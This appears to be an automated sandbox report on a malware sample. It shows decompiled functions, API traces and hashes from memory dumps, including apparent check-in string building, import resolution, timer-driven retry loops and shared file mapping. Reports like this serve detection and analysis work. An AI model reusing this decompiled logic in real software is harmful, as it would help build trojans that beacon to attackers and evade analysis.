Instruction Fuzzy Hash: A7F012B5A0420CBFEB119FA5CC85C9FBBBDEB44294B104939F552E1094D6309E089A61

Uniqueness

Uniqueness Score: -1.00%

Function 01404AB6, Relevance: 33.2, APIs: 22, Instructions: 244
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E01404AB6(long __eax, void* __ecx, void* __edx, intOrPtr _a4, char** _a8, int* _a12, void* _a16) {
				void* _v8;
				signed int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* __ebx;
				void* __edi;
				long _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t63;
				intOrPtr _t64;
				void* _t67;
				intOrPtr _t68;
				int _t71;
				void* _t72;
				void* _t73;
				void* _t75;
				void* _t78;
				intOrPtr _t82;
				intOrPtr _t86;
				intOrPtr* _t88;
				void* _t94;
				intOrPtr _t100;
				signed int _t104;
				char** _t106;
				int _t109;
				signed int _t111;
				intOrPtr* _t112;
				intOrPtr* _t114;
				intOrPtr* _t116;
				intOrPtr* _t118;
				intOrPtr _t121;
				intOrPtr _t126;
				int _t130;
				CHAR* _t132;
				intOrPtr _t133;
				void* _t134;
				void* _t143;
				int _t144;
				void* _t145;
				intOrPtr _t146;
				void* _t148;
				long _t152;
				intOrPtr* _t153;
				intOrPtr* _t154;
				intOrPtr* _t157;
				void* _t158;
				void* _t160;

				_t143 = __edx;
				_t134 = __ecx;
				_t59 = __eax;
				_v12 = 8;
				if(__eax == 0) {
					_t59 = GetTickCount();
				}
				_t60 =  *0x140d018; // 0xb20846e7
				asm("bswap eax");
				_t61 =  *0x140d014; // 0x3a87c8cd
				_t132 = _a16;
				asm("bswap eax");
				_t62 =  *0x140d010; // 0xd8d2f808
				asm("bswap eax");
				_t63 =  *0x140d00c; // 0x8f8f86c2
				asm("bswap eax");
				_t64 =  *0x140d2a8; // 0x10fa5a8
				_t3 = _t64 + 0x140e633; // 0x74666f73
				_t144 = wsprintfA(_t132, _t3, 3, 0x3d15e, _t63, _t62, _t61, _t60,  *0x140d02c,  *0x140d004, _t59);
				_t67 = E014056CD();
				_t68 =  *0x140d2a8; // 0x10fa5a8
				_t4 = _t68 + 0x140e673; // 0x74707526
				_t71 = wsprintfA(_t144 + _t132, _t4, _t67);
				_t160 = _t158 + 0x38;
				_t145 = _t144 + _t71; // executed
				_t72 = E014058DB(_t134); // executed
				_t133 = __imp__;
				_v8 = _t72;
				if(_t72 != 0) {
					_t126 =  *0x140d2a8; // 0x10fa5a8
					_t7 = _t126 + 0x140e8d4; // 0x736e6426
					_t130 = wsprintfA(_a16 + _t145, _t7, _t72);
					_t160 = _t160 + 0xc;
					_t145 = _t145 + _t130;
					HeapFree( *0x140d238, 0, _v8);
				}
				_t73 = E0140A199();
				_v8 = _t73;
				if(_t73 != 0) {
					_t121 =  *0x140d2a8; // 0x10fa5a8
					_t11 = _t121 + 0x140e8dc; // 0x6f687726
					wsprintfA(_t145 + _a16, _t11, _t73);
					_t160 = _t160 + 0xc;
					HeapFree( *0x140d238, 0, _v8);
				}
				_t146 =  *0x140d32c; // 0x25095b0
				_t75 = E01404622(0x140d00a, _t146 + 4);
				_t152 = 0;
				_v20 = _t75;
				if(_t75 == 0) {
					L26:
					RtlFreeHeap( *0x140d238, _t152, _a16); // executed
					return _v12;
				} else {
					_t78 = RtlAllocateHeap( *0x140d238, 0, 0x800);
					_v8 = _t78;
					if(_t78 == 0) {
						L25:
						HeapFree( *0x140d238, _t152, _v20);
						goto L26;
					}
					E0140518F(GetTickCount());
					_t82 =  *0x140d32c; // 0x25095b0
					__imp__(_t82 + 0x40);
					asm("lock xadd [eax], ecx");
					_t86 =  *0x140d32c; // 0x25095b0
					__imp__(_t86 + 0x40);
					_t88 =  *0x140d32c; // 0x25095b0
					_t148 = E01401BB6(1, _t143, _a16,  *_t88);
					_v28 = _t148;
					asm("lock xadd [eax], ecx");
					if(_t148 == 0) {
						L24:
						HeapFree( *0x140d238, _t152, _v8);
						goto L25;
					}
					StrTrimA(_t148, 0x140c28c);
					_push(_t148);
					_t94 = E0140361A();
					_v16 = _t94;
					if(_t94 == 0) {
						L23:
						HeapFree( *0x140d238, _t152, _t148);
						goto L24;
					}
					_t153 = __imp__;
					 *_t153(_t148, _a4);
					 *_t153(_v8, _v20);
					_t154 = __imp__;
					 *_t154(_v8, _v16);
					_t100 = E01409070( *_t154(_v8, _t148), _v8);
					_a4 = _t100;
					if(_t100 == 0) {
						_v12 = 8;
						L21:
						E01406761();
						L22:
						HeapFree( *0x140d238, 0, _v16);
						_t152 = 0;
						goto L23;
					}
					_t104 = E014069B4(_t133, 0xffffffffffffffff, _t148,  &_v24); // executed
					_v12 = _t104;
					if(_t104 == 0) {
						_t157 = _v24;
						_t111 = E0140391F(_t157, _a4, _a8, _a12); // executed
						_v12 = _t111;
						_t112 =  *((intOrPtr*)(_t157 + 8));
						 *((intOrPtr*)( *_t112 + 0x80))(_t112);
						_t114 =  *((intOrPtr*)(_t157 + 8));
						 *((intOrPtr*)( *_t114 + 8))(_t114);
						_t116 =  *((intOrPtr*)(_t157 + 4));
						 *((intOrPtr*)( *_t116 + 8))(_t116);
						_t118 =  *_t157;
						 *((intOrPtr*)( *_t118 + 8))(_t118);
						E0140A734(_t157);
					}
					if(_v12 != 0x10d2) {
						L16:
						if(_v12 == 0) {
							_t106 = _a8;
							if(_t106 != 0) {
								_t149 =  *_t106;
								_t155 =  *_a12;
								wcstombs( *_t106,  *_t106,  *_a12);
								_t109 = E01405800(_t149, _t149, _t155 >> 1);
								_t148 = _v28;
								 *_a12 = _t109;
							}
						}
						goto L19;
					} else {
						if(_a8 != 0) {
							L19:
							E0140A734(_a4);
							if(_v12 == 0 || _v12 == 0x10d2) {
								goto L22;
							} else {
								goto L21;
							}
						}
						_v12 = _v12 & 0x00000000;
						goto L16;
					}
				}
			}

0x01404ab6
0x01404ab6
0x01404ab6
0x01404abf
0x01404ac8
0x01404aca
0x01404aca
0x01404ad7
0x01404ae2
0x01404ae5
0x01404aea
0x01404af3
0x01404af6
0x01404afb
0x01404afe
0x01404b03
0x01404b06
0x01404b12
0x01404b1f
0x01404b21
0x01404b27
0x01404b2c
0x01404b37
0x01404b39
0x01404b3c
0x01404b3e
0x01404b43
0x01404b49
0x01404b4e
0x01404b51
0x01404b56
0x01404b63
0x01404b65
0x01404b6b
0x01404b75
0x01404b75
0x01404b77
0x01404b7c
0x01404b81
0x01404b84
0x01404b89
0x01404b96
0x01404b98
0x01404ba6
0x01404ba6
0x01404ba8
0x01404bb6
0x01404bbb
0x01404bbd
0x01404bc2
0x01404d83
0x01404d8d
0x01404d96
0x01404bc8
0x01404bd4
0x01404bda
0x01404bdf
0x01404d77
0x01404d81
0x00000000
0x01404d81
0x01404beb
0x01404bf0
0x01404bf9
0x01404c0a
0x01404c0e
0x01404c17
0x01404c1d
0x01404c2c
0x01404c33
0x01404c3c
0x01404c42
0x01404d6b
0x01404d75
0x00000000
0x01404d75
0x01404c4e
0x01404c54
0x01404c55
0x01404c5a
0x01404c5f
0x01404d61
0x01404d69
0x00000000
0x01404d69
0x01404c68
0x01404c6f
0x01404c77
0x01404c7c
0x01404c85
0x01404c90
0x01404c95
0x01404c9a
0x01404d99
0x01404d4d
0x01404d4d
0x01404d52
0x01404d5d
0x01404d5f
0x00000000
0x01404d5f
0x01404ca4
0x01404ca9
0x01404cae
0x01404cb3
0x01404cbe
0x01404cc3
0x01404cc6
0x01404ccc
0x01404cd2
0x01404cd8
0x01404cdb
0x01404ce1
0x01404ce4
0x01404ce9
0x01404ced
0x01404ced
0x01404cf9
0x01404d05
0x01404d09
0x01404d0b
0x01404d10
0x01404d12
0x01404d17
0x01404d1c
0x01404d29
0x01404d31
0x01404d34
0x01404d34
0x01404d10
0x00000000
0x01404cfb
0x01404cff
0x01404d36
0x01404d39
0x01404d42
0x00000000
0x00000000
0x00000000
0x00000000
0x01404d42
0x01404d01
0x00000000
0x01404d01
0x01404cf9

APIs

GetTickCount.KERNEL32 ref: 01404ACA
wsprintfA.USER32 ref: 01404B1A
wsprintfA.USER32 ref: 01404B37
wsprintfA.USER32 ref: 01404B63
HeapFree.KERNEL32(00000000,?), ref: 01404B75
wsprintfA.USER32 ref: 01404B96
HeapFree.KERNEL32(00000000,?), ref: 01404BA6
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 01404BD4
GetTickCount.KERNEL32 ref: 01404BE5
RtlEnterCriticalSection.NTDLL(02509570), ref: 01404BF9
RtlLeaveCriticalSection.NTDLL(02509570), ref: 01404C17

Part of subcall function 01401BB6: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,74ECC740,?,?,014020C2,?,025095B0), ref: 01401BE1
Part of subcall function 01401BB6: lstrlen.KERNEL32(?,?,?,014020C2,?,025095B0), ref: 01401BE9
Part of subcall function 01401BB6: strcpy.NTDLL ref: 01401C00
Part of subcall function 01401BB6: lstrcat.KERNEL32(00000000,?), ref: 01401C0B
Part of subcall function 01401BB6: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,014020C2,?,025095B0), ref: 01401C28

StrTrimA.SHLWAPI(00000000,0140C28C,?,025095B0), ref: 01404C4E

Part of subcall function 0140361A: lstrlen.KERNEL32(02509A78,00000000,00000000,74ECC740,014020ED,00000000), ref: 0140362A
Part of subcall function 0140361A: lstrlen.KERNEL32(?), ref: 01403632
Part of subcall function 0140361A: lstrcpy.KERNEL32(00000000,02509A78), ref: 01403646
Part of subcall function 0140361A: lstrcat.KERNEL32(00000000,?), ref: 01403651

lstrcpy.KERNEL32(00000000,?), ref: 01404C6F
lstrcpy.KERNEL32(?,?), ref: 01404C77
lstrcat.KERNEL32(?,?), ref: 01404C85
lstrcat.KERNEL32(?,00000000), ref: 01404C8B

Part of subcall function 01409070: lstrlen.KERNEL32(?,00000000,02509A98,00000000,01408808,02509C76,?,?,?,?,?,63699BC3,00000005,0140D00C), ref: 01409077
Part of subcall function 01409070: mbstowcs.NTDLL ref: 014090A0
Part of subcall function 01409070: memset.NTDLL ref: 014090B2

wcstombs.NTDLL ref: 01404D1C

Part of subcall function 0140391F: SysAllocString.OLEAUT32(?), ref: 0140395A
Part of subcall function 0140391F: IUnknown_QueryInterface_Proxy.RPCRT4(?,332C4425,?), ref: 014039DD

Part of subcall function 0140A734: HeapFree.KERNEL32(00000000,00000000,01405637,00000000,?,?,00000000), ref: 0140A740

HeapFree.KERNEL32(00000000,?,?), ref: 01404D5D
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 01404D69
HeapFree.KERNEL32(00000000,?,?,025095B0), ref: 01404D75
HeapFree.KERNEL32(00000000,?), ref: 01404D81
RtlFreeHeap.NTDLL(00000000,?), ref: 01404D8D

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$lstrlen$lstrcatwsprintf$lstrcpy$CountCriticalSectionTickTrim$AllocAllocateEnterInterface_LeaveProxyQueryStringUnknown_mbstowcsmemsetstrcpywcstombs
String ID:
API String ID: 603507560-0
Opcode ID: 3660c0957df7e5dff49f5121d8fc01772d6beb9cd0d23b3ddb426639f320fd75
Instruction ID: fddbe7e303992af60d720ebfbe3ebbd0e5b0e56ad93d1dbe43a5db85d86141d0
Opcode Fuzzy Hash: 3660c0957df7e5dff49f5121d8fc01772d6beb9cd0d23b3ddb426639f320fd75
Instruction Fuzzy Hash: 3A915971900109AFDB22DFEADD88AAE7BB9EF48310F144469F909972B0DB30D955DB60

Uniqueness

Uniqueness Score: -1.00%

Function 0140AC55, Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209
libraryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E0140AC55(long _a4, long _a8) {
				signed int _v8;
				intOrPtr _v16;
				LONG* _v28;
				long _v40;
				long _v44;
				long _v48;
				CHAR* _v52;
				long _v56;
				CHAR* _v60;
				long _v64;
				signed int* _v68;
				char _v72;
				signed int _t76;
				signed int _t80;
				signed int _t81;
				intOrPtr* _t82;
				intOrPtr* _t83;
				intOrPtr* _t85;
				intOrPtr* _t90;
				intOrPtr* _t95;
				intOrPtr* _t98;
				struct HINSTANCE__* _t99;
				void* _t102;
				intOrPtr* _t104;
				void* _t115;
				long _t116;
				void _t125;
				void* _t131;
				signed short _t133;
				struct HINSTANCE__* _t138;
				signed int* _t139;

				_t139 = _a4;
				_v28 = _t139[2] + 0x1400000;
				_t115 = _t139[3] + 0x1400000;
				_t131 = _t139[4] + 0x1400000;
				_v8 = _t139[7];
				_v60 = _t139[1] + 0x1400000;
				_v16 = _t139[5] + 0x1400000;
				_v64 = _a8;
				_v72 = 0x24;
				_v68 = _t139;
				_v56 = 0;
				asm("stosd");
				_v48 = 0;
				_v44 = 0;
				_v40 = 0;
				if(( *_t139 & 0x00000001) == 0) {
					_a8 =  &_v72;
					RaiseException(0xc06d0057, 0, 1,  &_a8);
					return 0;
				}
				_t138 =  *_v28;
				_t76 = _a8 - _t115 >> 2 << 2;
				_t133 =  *(_t131 + _t76);
				_a4 = _t76;
				_t80 =  !(_t133 >> 0x1f) & 0x00000001;
				_v56 = _t80;
				_t81 = _t133 + 0x1400002;
				if(_t80 == 0) {
					_t81 = _t133 & 0x0000ffff;
				}
				_v52 = _t81;
				_t82 =  *0x140d1a0; // 0x0
				_t116 = 0;
				if(_t82 == 0) {
					L6:
					if(_t138 != 0) {
						L18:
						_t83 =  *0x140d1a0; // 0x0
						_v48 = _t138;
						if(_t83 != 0) {
							_t116 =  *_t83(2,  &_v72);
						}
						if(_t116 != 0) {
							L32:
							 *_a8 = _t116;
							L33:
							_t85 =  *0x140d1a0; // 0x0
							if(_t85 != 0) {
								_v40 = _v40 & 0x00000000;
								_v48 = _t138;
								_v44 = _t116;
								 *_t85(5,  &_v72);
							}
							return _t116;
						} else {
							if(_t139[5] == _t116 || _t139[7] == _t116) {
								L27:
								_t116 = GetProcAddress(_t138, _v52);
								if(_t116 == 0) {
									_v40 = GetLastError();
									_t90 =  *0x140d19c; // 0x0
									if(_t90 != 0) {
										_t116 =  *_t90(4,  &_v72);
									}
									if(_t116 == 0) {
										_a4 =  &_v72;
										RaiseException(0xc06d007f, _t116, 1,  &_a4);
										_t116 = _v44;
									}
								}
								goto L32;
							} else {
								_t95 =  *((intOrPtr*)(_t138 + 0x3c)) + _t138;
								if( *_t95 == 0x4550 &&  *((intOrPtr*)(_t95 + 8)) == _v8 && _t138 ==  *((intOrPtr*)(_t95 + 0x34))) {
									_t116 =  *(_a4 + _v16);
									if(_t116 != 0) {
										goto L32;
									}
								}
								goto L27;
							}
						}
					}
					_t98 =  *0x140d1a0; // 0x0
					if(_t98 == 0) {
						L9:
						_t99 = LoadLibraryA(_v60); // executed
						_t138 = _t99;
						if(_t138 != 0) {
							L13:
							if(InterlockedExchange(_v28, _t138) == _t138) {
								FreeLibrary(_t138);
							} else {
								if(_t139[6] != 0) {
									_t102 = LocalAlloc(0x40, 8);
									if(_t102 != 0) {
										 *(_t102 + 4) = _t139;
										_t125 =  *0x140d198; // 0x0
										 *_t102 = _t125;
										 *0x140d198 = _t102;
									}
								}
							}
							goto L18;
						}
						_v40 = GetLastError();
						_t104 =  *0x140d19c; // 0x0
						if(_t104 == 0) {
							L12:
							_a8 =  &_v72;
							RaiseException(0xc06d007e, 0, 1,  &_a8);
							return _v44;
						}
						_t138 =  *_t104(3,  &_v72);
						if(_t138 != 0) {
							goto L13;
						}
						goto L12;
					}
					_t138 =  *_t98(1,  &_v72);
					if(_t138 != 0) {
						goto L13;
					}
					goto L9;
				}
				_t116 =  *_t82(0,  &_v72);
				if(_t116 != 0) {
					goto L33;
				}
				goto L6;
			}

0x0140ac64
0x0140ac7a
0x0140ac80
0x0140ac82
0x0140ac87
0x0140ac8d
0x0140ac92
0x0140ac95
0x0140aca3
0x0140acaa
0x0140acad
0x0140acb0
0x0140acb1
0x0140acb4
0x0140acb7
0x0140acba
0x0140acbf
0x0140acce
0x00000000
0x0140acd4
0x0140acde
0x0140ace8
0x0140aced
0x0140acef
0x0140acf9
0x0140acfc
0x0140acff
0x0140ad05
0x0140ad07
0x0140ad07
0x0140ad0a
0x0140ad0d
0x0140ad12
0x0140ad16
0x0140ad29
0x0140ad2b
0x0140add3
0x0140add3
0x0140adda
0x0140addd
0x0140ade7
0x0140ade7
0x0140adeb
0x0140ae69
0x0140ae6c
0x0140ae6e
0x0140ae6e
0x0140ae75
0x0140ae77
0x0140ae81
0x0140ae84
0x0140ae87
0x0140ae87
0x00000000
0x0140aded
0x0140adf0
0x0140ae1e
0x0140ae28
0x0140ae2c
0x0140ae34
0x0140ae37
0x0140ae3e
0x0140ae48
0x0140ae48
0x0140ae4c
0x0140ae51
0x0140ae60
0x0140ae66
0x0140ae66
0x0140ae4c
0x00000000
0x0140adf7
0x0140adfa
0x0140ae02
0x0140ae17
0x0140ae1c
0x00000000
0x00000000
0x0140ae1c
0x00000000
0x0140ae02
0x0140adf0
0x0140adeb
0x0140ad31
0x0140ad38
0x0140ad48
0x0140ad4b
0x0140ad51
0x0140ad55
0x0140ad98
0x0140ada4
0x0140adcd
0x0140ada6
0x0140adaa
0x0140adb0
0x0140adb8
0x0140adba
0x0140adbd
0x0140adc3
0x0140adc5
0x0140adc5
0x0140adb8
0x0140adaa
0x00000000
0x0140ada4
0x0140ad5d
0x0140ad60
0x0140ad67
0x0140ad77
0x0140ad7a
0x0140ad8a
0x00000000
0x0140ad90
0x0140ad71
0x0140ad75
0x00000000
0x00000000
0x00000000
0x0140ad75
0x0140ad42
0x0140ad46
0x00000000
0x00000000
0x00000000
0x0140ad46
0x0140ad1f
0x0140ad23
0x00000000
0x00000000
0x00000000

APIs

RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0140ACCE
LoadLibraryA.KERNELBASE(?), ref: 0140AD4B
GetLastError.KERNEL32 ref: 0140AD57
RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 0140AD8A

Strings

$, xrefs: 0140ACA3

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: ExceptionRaise$ErrorLastLibraryLoad
String ID: $
API String ID: 948315288-3993045852
Opcode ID: e03ba691c98cee4fc1ae3b38097a7ab4ccfbbe179b96b1f32c548a840a39f055
Instruction ID: f0bf5a0730dab25763025b1bf0cd4861cde594d89435f27421bd8278831aed4e
Opcode Fuzzy Hash: e03ba691c98cee4fc1ae3b38097a7ab4ccfbbe179b96b1f32c548a840a39f055
Instruction Fuzzy Hash: 57813F71A403059FDB22CF9AD984BAEB7F5EF48311F24412AE905D7395DB70E905CB50

Uniqueness

Uniqueness Score: -1.00%

Function 014051B0, Relevance: 16.6, APIs: 11, Instructions: 150
timememoryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E014051B0(intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				struct %anon52 _v8;
				long _v12;
				char _v16;
				char _v20;
				signed int _v24;
				intOrPtr _v32;
				union _LARGE_INTEGER _v36;
				intOrPtr _v40;
				void* _v44;
				void _v88;
				char _v92;
				struct %anon52 _t46;
				intOrPtr _t51;
				long _t53;
				void* _t54;
				struct %anon52 _t60;
				long _t64;
				signed int _t65;
				void* _t68;
				void* _t70;
				signed int _t71;
				intOrPtr _t73;
				intOrPtr _t76;
				void** _t78;
				void* _t80;

				_t73 = __edx;
				_v92 = 0;
				memset( &_v88, 0, 0x2c);
				_t46 = CreateWaitableTimerA(0, 1, 0);
				_v44 = _t46;
				if(_t46 == 0) {
					_v8.LowPart = GetLastError();
				} else {
					_push(0xffffffff);
					_push(0xff676980);
					_push(0);
					_push( *0x140d240);
					_v20 = 0;
					_v16 = 0;
					L0140AF2E();
					_v36.LowPart = _t46;
					_v32 = _t73;
					SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0);
					_t51 =  *0x140d26c; // 0x1d8
					_v40 = _t51;
					_t53 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
					_v8.LowPart = _t53;
					if(_t53 == 0) {
						if(_a8 != 0) {
							L4:
							 *0x140d24c = 5;
						} else {
							_t68 = E01408D14(_t73); // executed
							if(_t68 != 0) {
								goto L4;
							}
						}
						_v12 = 0;
						L6:
						L6:
						if(_v12 == 1 && ( *0x140d260 & 0x00000001) == 0) {
							_v12 = 2;
						}
						_t71 = _v12;
						_t58 = _t71 << 4;
						_t76 = _t80 + (_t71 << 4) - 0x54;
						_t72 = _t71 + 1;
						_v24 = _t71 + 1;
						_t60 = E0140A376(_t72, _t76, _t72, _t80 + _t58 - 0x58, _t76,  &_v20,  &_v16); // executed
						_v8.LowPart = _t60;
						if(_t60 != 0) {
							goto L17;
						}
						_t65 = _v24;
						_v12 = _t65;
						_t90 = _t65 - 3;
						if(_t65 != 3) {
							goto L6;
						} else {
							_v8.LowPart = E014036B1(_t72, _t90,  &_v92, _a4, _a8);
						}
						goto L12;
						L17:
						__eflags = _t60 - 0x10d2;
						if(_t60 != 0x10d2) {
							_push(0xffffffff);
							_push(0xff676980);
							_push(0);
							_push( *0x140d244);
							goto L21;
						} else {
							__eflags =  *0x140d248; // 0x0
							if(__eflags == 0) {
								goto L12;
							} else {
								_t60 = E01406761();
								_push(0xffffffff);
								_push(0xdc3cba00);
								_push(0);
								_push( *0x140d248);
								L21:
								L0140AF2E();
								_v36.LowPart = _t60;
								_v32 = _t76;
								SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0); // executed
								_t64 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
								_v8.LowPart = _t64;
								__eflags = _t64;
								if(_t64 == 0) {
									goto L6;
								} else {
									goto L12;
								}
							}
						}
						L25:
					}
					L12:
					_t78 =  &_v92;
					_t70 = 3;
					do {
						_t54 =  *_t78;
						if(_t54 != 0) {
							HeapFree( *0x140d238, 0, _t54);
						}
						_t78 =  &(_t78[4]);
						_t70 = _t70 - 1;
					} while (_t70 != 0);
					CloseHandle(_v44);
				}
				return _v8;
				goto L25;
			}

0x014051b0
0x014051c2
0x014051c5
0x014051d1
0x014051d7
0x014051dc
0x01405343
0x014051e2
0x014051e2
0x014051e4
0x014051e9
0x014051ea
0x014051f0
0x014051f3
0x014051f6
0x01405204
0x0140520f
0x01405212
0x01405214
0x01405221
0x0140522b
0x0140522d
0x01405232
0x01405237
0x01405242
0x01405242
0x01405239
0x01405239
0x01405240
0x00000000
0x00000000
0x01405240
0x0140524c
0x00000000
0x0140524f
0x01405253
0x0140525e
0x0140525e
0x01405265
0x0140526e
0x01405275
0x0140527e
0x01405281
0x01405284
0x01405289
0x0140528e
0x00000000
0x00000000
0x01405290
0x01405293
0x01405296
0x01405299
0x00000000
0x0140529b
0x014052aa
0x014052aa
0x00000000
0x014052d8
0x014052d8
0x014052dd
0x014052fc
0x014052fe
0x01405303
0x01405304
0x00000000
0x014052df
0x014052df
0x014052e5
0x00000000
0x014052e7
0x014052e7
0x014052ec
0x014052ee
0x014052f3
0x014052f4
0x0140530a
0x0140530a
0x01405312
0x0140531d
0x01405320
0x0140532b
0x0140532d
0x01405330
0x01405332
0x00000000
0x01405338
0x00000000
0x01405338
0x01405332
0x014052e5
0x00000000
0x014052dd
0x014052ad
0x014052af
0x014052b2
0x014052b3
0x014052b3
0x014052b7
0x014052c1
0x014052c1
0x014052c7
0x014052ca
0x014052ca
0x014052d0
0x014052d0
0x0140534d
0x00000000

APIs

memset.NTDLL ref: 014051C5
CreateWaitableTimerA.KERNEL32(00000000,00000001,00000000), ref: 014051D1
_allmul.NTDLL(00000000,FF676980,000000FF), ref: 014051F6
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000), ref: 01405212
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 0140522B
HeapFree.KERNEL32(00000000,00000000), ref: 014052C1
CloseHandle.KERNEL32(?), ref: 014052D0
_allmul.NTDLL(00000000,FF676980,000000FF,00000002), ref: 0140530A
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF,00000002,?,?,01405D5E,?), ref: 01405320
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 0140532B

Part of subcall function 01408D14: StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,02509368,00000000,?,7519F710,00000000,7519F730), ref: 01408D63
Part of subcall function 01408D14: HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,025093A0,?,00000000,30314549,00000014,004F0053,0250935C), ref: 01408E00
Part of subcall function 01408D14: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,0140523E), ref: 01408E12

GetLastError.KERNEL32 ref: 0140533D

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeapTimerWaitable$MultipleObjectsWait_allmul$CloseCreateErrorHandleLastmemset
String ID:
API String ID: 3521023985-0
Opcode ID: adc09ac7306c5338f96d81c5de6568a496fded276f7062cdc4b04d761b1ebc43
Instruction ID: a17e474d3186fd385fd51da54a2df61028a3a59757faf7c62f11f894d39c2a2a
Opcode Fuzzy Hash: adc09ac7306c5338f96d81c5de6568a496fded276f7062cdc4b04d761b1ebc43
Instruction Fuzzy Hash: 4A514171801229ABDF22DFD6DD449EEBF78EF45720F20462AF511E62A4D7709644CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 10001ADA, Relevance: 13.6, APIs: 9, Instructions: 81
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E10001ADA(intOrPtr __edx, long _a4, void** _a8, void** _a12) {
				intOrPtr _v12;
				struct _FILETIME* _v16;
				short _v60;
				struct _FILETIME* _t14;
				intOrPtr _t15;
				long _t18;
				void* _t19;
				void* _t22;
				intOrPtr _t31;
				long _t32;
				void* _t34;

				_t31 = __edx;
				_t14 =  &_v16;
				GetSystemTimeAsFileTime(_t14);
				_push(0x192);
				_push(0x54d38000);
				_push(_v12);
				_push(_v16);
				L10002130();
				_push(_t14);
				_v16 = _t14;
				_t15 =  *0x10004144;
				_push(_t15 + 0x1000505e);
				_push(_t15 + 0x10005054);
				_push(0x16);
				_push( &_v60);
				_v12 = _t31;
				L1000212A();
				_t18 = _a4;
				if(_t18 == 0) {
					_t18 = 0x1000;
				}
				_t19 = CreateFileMappingW(0xffffffff, 0x10004148, 4, 0, _t18,  &_v60); // executed
				_t34 = _t19;
				if(_t34 == 0) {
					_t32 = GetLastError();
				} else {
					if(_a4 != 0 || GetLastError() == 0xb7) {
						_t22 = MapViewOfFile(_t34, 6, 0, 0, 0); // executed
						if(_t22 == 0) {
							_t32 = GetLastError();
							if(_t32 != 0) {
								goto L9;
							}
						} else {
							 *_a8 = _t34;
							 *_a12 = _t22;
							_t32 = 0;
						}
					} else {
						_t32 = 2;
						L9:
						CloseHandle(_t34);
					}
				}
				return _t32;
			}

0x10001ada
0x10001ae3
0x10001ae7
0x10001aed
0x10001af2
0x10001af7
0x10001afa
0x10001afd
0x10001b02
0x10001b03
0x10001b06
0x10001b11
0x10001b18
0x10001b1c
0x10001b1e
0x10001b1f
0x10001b22
0x10001b27
0x10001b31
0x10001b33
0x10001b33
0x10001b47
0x10001b4d
0x10001b51
0x10001ba1
0x10001b53
0x10001b5c
0x10001b72
0x10001b7a
0x10001b8c
0x10001b90
0x00000000
0x00000000
0x10001b7c
0x10001b7f
0x10001b84
0x10001b86
0x10001b86
0x10001b67
0x10001b69
0x10001b92
0x10001b93
0x10001b93
0x10001b5c
0x10001ba9

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 10001AE7
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 10001AFD
_snwprintf.NTDLL ref: 10001B22
CreateFileMappingW.KERNELBASE(000000FF,10004148,00000004,00000000,?,?), ref: 10001B47
GetLastError.KERNEL32 ref: 10001B5E
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 10001B72
GetLastError.KERNEL32 ref: 10001B8A
CloseHandle.KERNEL32(00000000), ref: 10001B93
GetLastError.KERNEL32 ref: 10001B9B

Memory Dump Source

Source File: 00000000.00000002.497616877.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.497593302.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497662482.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497710590.0000000010005000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.497734252.0000000010006000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFileLast$Time$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1724014008-0
